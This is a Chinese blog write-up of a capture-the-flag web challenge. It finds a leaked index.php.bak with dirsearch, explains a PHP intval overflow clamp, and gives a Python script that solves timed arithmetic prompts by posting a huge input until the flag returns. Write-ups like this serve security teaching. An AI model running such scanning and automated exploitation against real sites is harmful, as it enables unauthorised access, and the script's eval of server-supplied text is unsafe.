• NSS [NCTF 2018]小绿草之最强大脑


    NSS [NCTF 2018]小绿草之最强大脑

    题目要求我们输入一个位数>21的正数,带入表达式并且计算结果。

    image-20230712172445800

    查看源码发现hint,有源码泄露。

    image-20230712172506079

    拿dirsearch扫一下。扫到了一个备份文件。

    python dirsearch.py -u http://node4.anna.nssctf.cn:28805/
    
    • 1

    image-20230712172906627

    访问/index.php.bak路由之后自动下载了源码。

    
    if(isset($_SESSION['ans']) && isset($_POST['ans'])){
    	if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
    		session_destroy();
    		echo '
    		';
    	}
    	else{
    		if(intval(time())-$_SESSION['time']<1){
    			session_destroy();
    			echo '
    			 ';
    		}
    		if(intval(time())-$_SESSION['time']>2){
    			session_destroy();
    			echo '
    			 ';
    		}
    		echo '
    		 ';
    		$_SESSION['count']++;
    	}
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    前端js代码估计验证了我们输入的是不是整数以及是否大于21位

    分析一下他的PHP源码:

    1、通过POST把我们输入的传参进去。抓包可以发现,大于21位的是input,答案是ans

    2、input 的变量经过了 php 的intval处理

    3、每次脚本发起请求的间隔要在 1-2 秒之间

    4、算对的次数会累加,但是没说返回flag。

    关于上面第2点:在php中,post,get传过来的参数都是string,而intval处理string强制类型转换的时候就不会溢出的,最大只能是最大值。32位系统:2147483647 64位系统:9223372036854775807所以的话无论我们传过去的数值是多少,最后都只会是一个固定值,题目是64位的,所以是9223372036854775807

    image-20230712180038299

    编写的脚本如下:

    import requests
    import time
    
    url = 'http://node4.anna.nssctf.cn:28805'
    res = requests.session()      #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
    response = res.get(url)   #发get包,获取题目
    time.sleep(1)  # 睡一秒
    
    for i in range(1, 99):
        math = ""
    
    
    
        resTest = response.text            #获取返回包的内容
        for j in range(0, len(resTest)): #遍历获取网页数学表达式,这里建议用正则表达式(re)
            if resTest[j - 1] == ">" and resTest[j + 1] == "<" and resTest[j]!= "\n":
                    math = math + resTest[j]
    
        # strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列
        math = math.strip('=')      #去掉末尾等号
        math = math.strip('+')  # 去掉开头加号
        num = eval(math)       #计算数学表达式的值
        num += 9223372036854775807
    
        myData = {   #构造的POST数据
            'ans': num,
            'input': "99999999999999999999999999999999999999999999999999999999999999999999999"
        }
    
        response = res.post(url, data=myData) #发post包,提交答案,并且获取返回包,获取下一个计算式
        print(response.text)          #打印当前返回包的内容
        time.sleep(1)  # 睡一秒
    
        if "ctf{" in response.text:       #如果返回包里面有flag
            print("Flaggggggggg: ", response.text)
            exit() # 退出当前程序,也可以break
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    image-20230712181408396

  • 相关阅读:
    【5GC】5G PDU会话以及会话类型
    新库上线 | CnOpenData招聘公司基本信息扩展数据
    NSSCTF2nd与羊城杯部分记录
    关于 SAP UI5 应用 ui5.yaml 里的 paths 映射问题
    使用crictl pull时报错:“unknown service runtime.v1alpha2.ImageService”
    2022年全国最新消防设施操作员(高级消防设施操作员)真题题库及答案
    STM32物联网项目-通过ESP12S模块连接TCP服务器
    【MindSpore】【TFRecordDataset】无法正确处理tfrecord文件
    kubernetes之etcd基本操作
    Flutter热更新技术探索
  • 原文地址:https://blog.csdn.net/Jayjay___/article/details/134498583